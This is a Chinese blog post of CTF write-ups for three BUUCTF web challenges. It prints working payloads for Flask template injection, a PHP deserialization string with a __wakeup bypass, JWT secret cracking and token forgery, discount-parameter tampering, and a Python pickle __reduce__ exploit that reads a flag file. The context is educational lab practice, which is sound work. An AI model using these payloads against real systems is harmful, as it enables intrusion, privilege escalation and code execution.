渗透学习-CTF篇-web-BUUCTF


前言

随着学习的不断深入,为了防止自己忘记之前所学的内容,于是我决定再不断的向下学习的同时做一些ctf的题来唤醒自己的记忆!!


一、[WesternCTF2018]shrine

这一关主要是SSTI的内容,再进行打靶场前,先让我们来了解一下什么是SSTI。

基础知识
SSTI 就是服务器端模板注入(Server-Side Template Injection)。漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

靶场攻打
再大致了解了后,我们启动靶场:
在这里插入图片描述
我们发现一打开靶场就有这一串的代码信息,我们先来分析这部分的代码具体有啥内容:
在这里插入图片描述

  1. 我们看到第一部分这里有个函数flask.render_template_string , 这个函数就是一个模板的调用函数。
    当我们在ctf中看到这个函数时,就可以联想到这很有可能是一道SSTI的题。
  2. 这里会对我们传入的参数进行过滤,也就是说会将传入的参数中的()进行过滤掉,防止我们调用特殊变量或者python内置的函数等等。
  3. 4 这里代码将__name__这个系统变量传入到对应的app变量中,再调用app变量里的config参数调出FLAG的值。

在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。

且本关由于对输入的参数进行了过滤() 因此,我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。(因为这个函数可以省略(),所以可用)

在分析了传入的pyload的构成后,我们还需要看看在哪个位置处存在注入点:
在这里插入图片描述
在代码中的这一部分,有一个app.route() 这里就是指对应的注入的路径!!!

然后,开始注入:

  1. 那么我们构造如下payload:
/shrine/{{url_for.__globals__}}

效果如下:
在这里插入图片描述
globals 会列出当前的所有的变量。 但是根据题目,我们需要找到当前使用的变量,也就是flask的变量。(这里已经在图中标识了)

  1. 然后,读取当前命名空间中的对应变量信息:当前在flask模板下里的config
/shrine/{{url_for.__globals__['current_app'].config}}

在这里插入图片描述
此时,就可以发现该flag了!!! 但是呢,我们还可以用如下payload进行读取:

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

在这里插入图片描述

至此,大功告成!!!


二、[极客大挑战 2019]PHP

本关,主要是针对与php反序列化的关卡,在做本关之前,需反序列化漏洞有一定的了解!!!

首先,打开本关后,可以看到如下的页面:
在这里插入图片描述

根据,网站提示,这里可能存在着个备份文件?有可能是.zip 或者 .7z 等等。 那么这里,我们先用dirsearch 进行爆破一下看看:
命令如下:

 python3 .\dirsearch.py -u http://6a60ddc4-b2f1-408c-99a7-50279b1225e5.node4.buuoj.cn:81/ -e zip

然后,发现了有以下的文件:
在这里插入图片描述

那么我们直接访问并下载来看看,解压后如下图所示:
在这里插入图片描述

这里,可以看到flag.php里面没啥可用的信息,很明显这里面的不可能是flag的。 那么我们换个思路看看index.php

在这里插入图片描述
通过这里的1、2、3步我们可以猜测很可能存在着反序列化的漏洞!!! 那么我们继续进一步的看看其include
的 class.php里面有些什么?
在这里插入图片描述

结合,上下两个图我们可以知道,该流程的利用路径应该为:

== > 从url中的get请求中获取select参数取值;
==> 构造select的值(其值应为name这个类,并且将对应的类中变量设置为我们需要的值,也就是说password = 100; username = admin);payload 如下:

class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
$b = serialize($a);
echo urlencode($b);

==> 将其序列化;其值为:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

==> 调用unserialize函数进行对select获取的值进行反序列化操作 ;
==> 由于__wakeup()的存在,当使用unserialize时会优先进入这个方法中,因此为了绕过这个__wakeup,需要利用到利用语言漏洞绕过 CVE-2016-7124进行绕过!!
在这里插入图片描述
因此,我们需要将对象的属性的个数值进行调整,使其大于真实的属性值即可绕过。 具体的,我们先看看a的序列化值

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
对应的url编码为:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

对应的,我们需要将属性值进行修改,也就是需要更改:

在这里插入图片描述

更改后的payload:

O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

最后,在url中输入:

?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}

即可获得flag:

在这里插入图片描述

完成!!!!


三、[CISCN2019 华北赛区 Day1 Web2]ikun

本关主要涉及了支付逻辑漏洞、JWT认证、python反序列化的知识。

接下来让我们打开本关看一下!!!
在这里插入图片描述

通过查看页面的提示,我们可以发现这里给了我们一个提示是说让我们找到购买到lv6的商品。
但,我点了几下下一页的按钮,都没有发现。emmm…于是乎打算采用一个脚本自行的进行抓取lv6的商品,在编写该脚本前,我们先看看页面有什么元素可供我们利用在脚本里的:
在这里插入图片描述

如图所示,我们发现了以下几个可供爬取利用的点:
1、url中通过page=xxxx,来控制当前的页面是第几页 ;
2、在审查页面元素时候,发现了一个lv2的商品,在页面中会调用一个名字为lv2.png的图片进行展示。因此,在这里合理的猜测lv6的商品也会有个名字为lv6.png的图片展现在当前页面!!!

于是,编写脚本进行爬取:

import requests

url = r"http://394b3b31-9ae7-4fb2-95dc-640f33eb2a5d.node4.buuoj.cn:81/shop?page="

for i in range(0, 1000):
    r = requests.get(url + str(i))
    if 'lv6.png' in r.text:
        print(i)
        break
    else:
        print("没找到 %d" % i)

运行后,出现如下结果:

在这里插入图片描述

于是乎,我们发现了lv6在第181页(mmp,不用脚本得点到什么时候…)
在这里插入图片描述
点击,购买后,发现需要我们先注册…(那就随便注册一个进去看看!)
在这里插入图片描述

进去后,发现个人中心中,写着我们剩余金额为1000元! 但是我们在购物车里准备下单时候,发现这里还需要916113535.2元,这肯定是不能购买的。。。。。
在这里插入图片描述

emmm, 但好在我们发现这里貌似有个折扣券说给我们打了8折,那么想想看这里的折扣券或者说商品的初始金额能不能进行修改呢??? 我们抓个包尝试看看吧!!!

在这里插入图片描述
我们可以看到,这里的数据中,有个参数为discount,估摸着这个就是折扣券的参数。那么我们直接修改为0.000008,然后看看能不能绕过?

在这里插入图片描述在这里插入图片描述
成功绕过了!!! 唔,emmm,但是新的问题来了,这里是只能admin进行利用与访问。 当我重新看回包里数据时候,发现了cookie里有个jwt的参数,嗯,估计是这里出问题了,我们把这个jwt数据拿去解码看看:

在这里插入图片描述在这里插入图片描述

好的,发现这里的jwt里的username名称为yuan。按照,它页面的提示我们需要修改其值为admin才行!!! 具体的JWT利用可参考我的了一篇博客的第三部分,爆破密码:渗透学习-靶场篇-WebGoat靶场(JWT攻击)

接下来,让我们运行脚本进行爆破看看:(使用的是jwt-cracker)

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inl1YW4ifQ.ekwDI8D1wzgjlamchu6clYuagxA0WDvkJy_xvf0uAEM

在这里插入图片描述

很好,密钥以及出来了,那我们拿去改造一下,将密钥输入以及将username换成admin:
在这里插入图片描述

然后,输入到数据包中!!! 注意这里的jwt传输了两次,都要将其修改了, 记得看好自己抓取的数据包!!!在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
而后,页面出现了如下的内容:

在这里插入图片描述

这里,我一直点击一键成为大会员好像并没有什么用,emmmm, 那我们看看页面源代码里面会不会有些好东西?

在这里插入图片描述
啊哈哈哈,这个作者有点意思。。。。 这里,我们发现留了一个www.zip的文件,我们可以下载下来看看:
在这里插入图片描述

打开后的目录结构大致如上图所示。 这里呢,由于我们前面提示了我们需要用admin登录,因此具体的我们查看以下admin.py这个文件。。 在这个文件里,我们看到了这样子的一行代码:

p = pickle.loads(urllib.unquote(become))

这里,我们就由于处理了pickle.loads 即反序列化读取数据的过程,因此,我们可以想想看是否这里可以利用反序列化的漏洞呢? 于是乎,我打算试一下看看? 我们看到这个代码是类AdminHandler中的,那么我们先看看哪个地方调用了这个类:
在这里插入图片描述
在这里插入图片描述

至此,我们可以在我们访问这个路径/b1g_m4mber时就会调用这个AdminHandler类; 当我们传递psot数据包时,就会调用post这个方法; 当我们在这个方法里给become这个参数赋值时,会自动的进行pickle.loads反序列化过程!!! 至此,我们先构造个pop链:
(python2.7)

import urllib
import pickle

class exp(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()", ))

exploit = pickle.dumps(exp())
exploit = urllib.quote(exploit)
print exploit

在这里插入图片描述
此时,抓包,点击页面的一键成为大会员,而后修改对应的become值:
在这里插入图片描述
至此,falg已出
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值